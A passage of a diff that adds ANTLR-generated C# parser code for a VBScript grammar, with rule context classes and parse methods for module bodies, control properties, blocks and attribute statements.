base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleBody; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleBody(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleBody(this); + } + } + + [RuleVersion(0)] + public ModuleBodyContext moduleBody() { + ModuleBodyContext _localctx = new ModuleBodyContext(Context, State); + EnterRule(_localctx, 24, RULE_moduleBody); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 499; + moduleBodyElement(); + State = 501; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,34,Context) ) { + case 1: + { + State = 500; + Match(WS); + } + break; + } + State = 521; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,39,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 513; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case NEWLINE: + { + State = 504; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 503; + Match(NEWLINE); + } + } + State = 506; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + break; + case INLINE_SEP: + { + State = 509; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 508; + Match(INLINE_SEP); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 511; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,36,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + default: + throw new NoViableAltException(this); + } + State = 516; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,38,Context) ) { + case 1: + { + State = 515; + Match(WS); + } + break; + } + State = 518; + moduleBodyElement(); + } + } + } + State = 523; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,39,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleBodyElementContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleBlockContext moduleBlock() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleOptionContext moduleOption() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DeclareStmtContext declareStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ClassStmtContext classStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EnumerationStmtContext enumerationStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EventStmtContext eventStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public FunctionStmtContext functionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PropertyGetStmtContext propertyGetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PropertySetStmtContext propertySetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PropertyLetStmtContext propertyLetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SubStmtContext subStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeStmtContext typeStmt() { + return GetRuleContext(0); + } + public ModuleBodyElementContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleBodyElement; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleBodyElement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleBodyElement(this); + } + } + + [RuleVersion(0)] + public ModuleBodyElementContext moduleBodyElement() { + ModuleBodyElementContext _localctx = new ModuleBodyElementContext(Context, State); + EnterRule(_localctx, 26, RULE_moduleBodyElement); + try { + State = 536; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,40,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 524; + moduleBlock(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 525; + moduleOption(); + } + break; + case 3: + EnterOuterAlt(_localctx, 3); + { + State = 526; + declareStmt(); + } + break; + case 4: + EnterOuterAlt(_localctx, 4); + { + State = 527; + classStmt(); + } + break; + case 5: + EnterOuterAlt(_localctx, 5); + { + State = 528; + enumerationStmt(); + } + break; + case 6: + EnterOuterAlt(_localctx, 6); + { + State = 529; + eventStmt(); + } + break; + case 7: + EnterOuterAlt(_localctx, 7); + { + State = 530; + functionStmt(); + } + break; + case 8: + EnterOuterAlt(_localctx, 8); + { + State = 531; + propertyGetStmt(); + } + break; + case 9: + EnterOuterAlt(_localctx, 9); + { + State = 532; + propertySetStmt(); + } + break; + case 10: + EnterOuterAlt(_localctx, 10); + { + State = 533; + propertyLetStmt(); + } + break; + case 11: + EnterOuterAlt(_localctx, 11); + { + State = 534; + subStmt(); + } + break; + case 12: + EnterOuterAlt(_localctx, 12); + { + State = 535; + typeStmt(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ControlPropertiesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGIN() { return GetToken(VBScriptParser.BEGIN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_ControlTypeContext cp_ControlType() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_ControlIdentifierContext cp_ControlIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBScriptParser.END, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext[] cp_Properties() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext cp_Properties(int i) { + return GetRuleContext(i); + } + public ControlPropertiesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_controlProperties; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterControlProperties(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitControlProperties(this); + } + } + + [RuleVersion(0)] + public ControlPropertiesContext controlProperties() { + ControlPropertiesContext _localctx = new ControlPropertiesContext(Context, State); + EnterRule(_localctx, 28, RULE_controlProperties); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 539; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 538; + Match(WS); + } + } + + State = 541; + Match(BEGIN); + State = 542; + Match(WS); + State = 543; + cp_ControlType(); + State = 544; + Match(WS); + State = 545; + cp_ControlIdentifier(); + State = 547; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 546; + Match(WS); + } + } + + State = 550; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 549; + Match(NEWLINE); + } + } + State = 552; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 555; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 554; + cp_Properties(); + } + } + State = 557; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==BEGIN || _la==BEGINPROPERTY || _la==WS ); + State = 559; + Match(END); + State = 563; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,45,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 560; + Match(NEWLINE); + } + } + } + State = 565; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,45,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_PropertiesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public Cp_NestedPropertyContext cp_NestedProperty() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ControlPropertiesContext controlProperties() { + return GetRuleContext(0); + } + public Cp_PropertiesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_Properties; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_Properties(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_Properties(this); + } + } + + [RuleVersion(0)] + public Cp_PropertiesContext cp_Properties() { + Cp_PropertiesContext _localctx = new Cp_PropertiesContext(Context, State); + EnterRule(_localctx, 30, RULE_cp_Properties); + try { + State = 568; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,46,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 566; + cp_NestedProperty(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 567; + controlProperties(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_PropertyNameContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext[] ambiguousIdentifier() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OBJECT() { return GetToken(VBScriptParser.OBJECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] DOT() { return GetTokens(VBScriptParser.DOT); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT(int i) { + return GetToken(VBScriptParser.DOT, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] LPAREN() { return GetTokens(VBScriptParser.LPAREN); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN(int i) { + return GetToken(VBScriptParser.LPAREN, i); + } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext[] literal() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] RPAREN() { return GetTokens(VBScriptParser.RPAREN); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN(int i) { + return GetToken(VBScriptParser.RPAREN, i); + } + public Cp_PropertyNameContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_PropertyName; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_PropertyName(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_PropertyName(this); + } + } + + [RuleVersion(0)] + public Cp_PropertyNameContext cp_PropertyName() { + Cp_PropertyNameContext _localctx = new Cp_PropertyNameContext(Context, State); + EnterRule(_localctx, 32, RULE_cp_PropertyName); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 572; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,47,Context) ) { + case 1: + { + State = 570; + Match(OBJECT); + State = 571; + Match(DOT); + } + break; + } + State = 574; + ambiguousIdentifier(); + State = 579; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN) { + { + State = 575; + Match(LPAREN); + State = 576; + literal(); + State = 577; + Match(RPAREN); + } + } + + State = 591; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==DOT) { + { + { + State = 581; + Match(DOT); + State = 582; + ambiguousIdentifier(); + State = 587; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN) { + { + State = 583; + Match(LPAREN); + State = 584; + literal(); + State = 585; + Match(RPAREN); + } + } + + } + } + State = 593; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_PropertyValueContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode POW() { return GetToken(VBScriptParser.POW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOLLAR() { return GetToken(VBScriptParser.DOLLAR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LBRACE() { return GetToken(VBScriptParser.LBRACE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RBRACE() { return GetToken(VBScriptParser.RBRACE, 0); } + public Cp_PropertyValueContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_PropertyValue; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_PropertyValue(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_PropertyValue(this); + } + } + + [RuleVersion(0)] + public Cp_PropertyValueContext cp_PropertyValue() { + Cp_PropertyValueContext _localctx = new Cp_PropertyValueContext(Context, State); + EnterRule(_localctx, 34, RULE_cp_PropertyValue); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 595; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==DOLLAR) { + { + State = 594; + Match(DOLLAR); + } + } + + State = 604; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case FALSE: + case NOTHING: + case NULL: + case TRUE: + case STRINGLITERAL: + case DATELITERAL: + case HEXLITERAL: + case INTEGERLITERAL: + case DOUBLELITERAL: + case FILENUMBER: + case OCTALLITERAL: + { + State = 597; + literal(); + } + break; + case LBRACE: + { + { + State = 598; + Match(LBRACE); + State = 599; + ambiguousIdentifier(); + State = 600; + Match(RBRACE); + } + } + break; + case POW: + { + State = 602; + Match(POW); + State = 603; + ambiguousIdentifier(); + } + break; + default: + throw new NoViableAltException(this); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_NestedPropertyContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGINPROPERTY() { return GetToken(VBScriptParser.BEGINPROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ENDPROPERTY() { return GetToken(VBScriptParser.ENDPROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBScriptParser.INTEGERLITERAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GUID() { return GetToken(VBScriptParser.GUID, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext[] cp_Properties() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext cp_Properties(int i) { + return GetRuleContext(i); + } + public Cp_NestedPropertyContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_NestedProperty; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_NestedProperty(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_NestedProperty(this); + } + } + + [RuleVersion(0)] + public Cp_NestedPropertyContext cp_NestedProperty() { + Cp_NestedPropertyContext _localctx = new Cp_NestedPropertyContext(Context, State); + EnterRule(_localctx, 36, RULE_cp_NestedProperty); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 607; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 606; + Match(WS); + } + } + + State = 609; + Match(BEGINPROPERTY); + State = 610; + Match(WS); + State = 611; + ambiguousIdentifier(); + State = 615; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN) { + { + State = 612; + Match(LPAREN); + State = 613; + Match(INTEGERLITERAL); + State = 614; + Match(RPAREN); + } + } + + State = 619; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 617; + Match(WS); + State = 618; + Match(GUID); + } + } + + State = 622; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 621; + Match(NEWLINE); + } + } + State = 624; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 631; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==BEGIN || _la==BEGINPROPERTY || _la==WS) { + { + State = 627; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 626; + cp_Properties(); + } + } + State = 629; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==BEGIN || _la==BEGINPROPERTY || _la==WS ); + } + } + + State = 633; + Match(ENDPROPERTY); + State = 635; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 634; + Match(NEWLINE); + } + } + State = 637; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_ControlTypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ComplexTypeContext complexType() { + return GetRuleContext(0); + } + public Cp_ControlTypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_ControlType; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_ControlType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_ControlType(this); + } + } + + [RuleVersion(0)] + public Cp_ControlTypeContext cp_ControlType() { + Cp_ControlTypeContext _localctx = new Cp_ControlTypeContext(Context, State); + EnterRule(_localctx, 38, RULE_cp_ControlType); + try { + EnterOuterAlt(_localctx, 1); + { + State = 639; + complexType(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_ControlIdentifierContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + public Cp_ControlIdentifierContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_ControlIdentifier; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_ControlIdentifier(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_ControlIdentifier(this); + } + } + + [RuleVersion(0)] + public Cp_ControlIdentifierContext cp_ControlIdentifier() { + Cp_ControlIdentifierContext _localctx = new Cp_ControlIdentifierContext(Context, State); + EnterRule(_localctx, 40, RULE_cp_ControlIdentifier); + try { + EnterOuterAlt(_localctx, 1); + { + State = 641; + ambiguousIdentifier(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class BlockSwitchContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public LineLabelContext lineLabel() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InlineBlockContext inlineBlock() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockStmtContext blockStmt() { + return GetRuleContext(0); + } + public BlockSwitchContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_blockSwitch; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBlockSwitch(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBlockSwitch(this); + } + } + + [RuleVersion(0)] + public BlockSwitchContext blockSwitch() { + BlockSwitchContext _localctx = new BlockSwitchContext(Context, State); + EnterRule(_localctx, 42, RULE_blockSwitch); + try { + State = 651; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,62,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 643; + lineLabel(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + { + State = 645; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,60,Context) ) { + case 1: + { + State = 644; + lineLabel(); + } + break; + } + State = 649; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,61,Context) ) { + case 1: + { + State = 647; + inlineBlock(); + } + break; + case 2: + { + State = 648; + blockStmt(); + } + break; + } + } + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class BlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public BlockSwitchContext[] blockSwitch() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockSwitchContext blockSwitch(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public BlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_block; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBlock(this); + } + } + + [RuleVersion(0)] + public BlockContext block() { + BlockContext _localctx = new BlockContext(Context, State); + EnterRule(_localctx, 44, RULE_block); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 653; + blockSwitch(); + State = 665; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,65,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 655; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 654; + Match(NEWLINE); + } + } + State = 657; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 660; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,64,Context) ) { + case 1: + { + State = 659; + Match(WS); + } + break; + } + State = 662; + blockSwitch(); + } + } + } + State = 667; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,65,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleBlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + public ModuleBlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleBlock; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleBlock(this); + } + } + + [RuleVersion(0)] + public ModuleBlockContext moduleBlock() { + ModuleBlockContext _localctx = new ModuleBlockContext(Context, State); + EnterRule(_localctx, 46, RULE_moduleBlock); + try { + EnterOuterAlt(_localctx, 1); + { + State = 668; + block(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AttributeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ATTRIBUTE() { return GetToken(VBScriptParser.ATTRIBUTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext[] literal() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal(int i) { + return 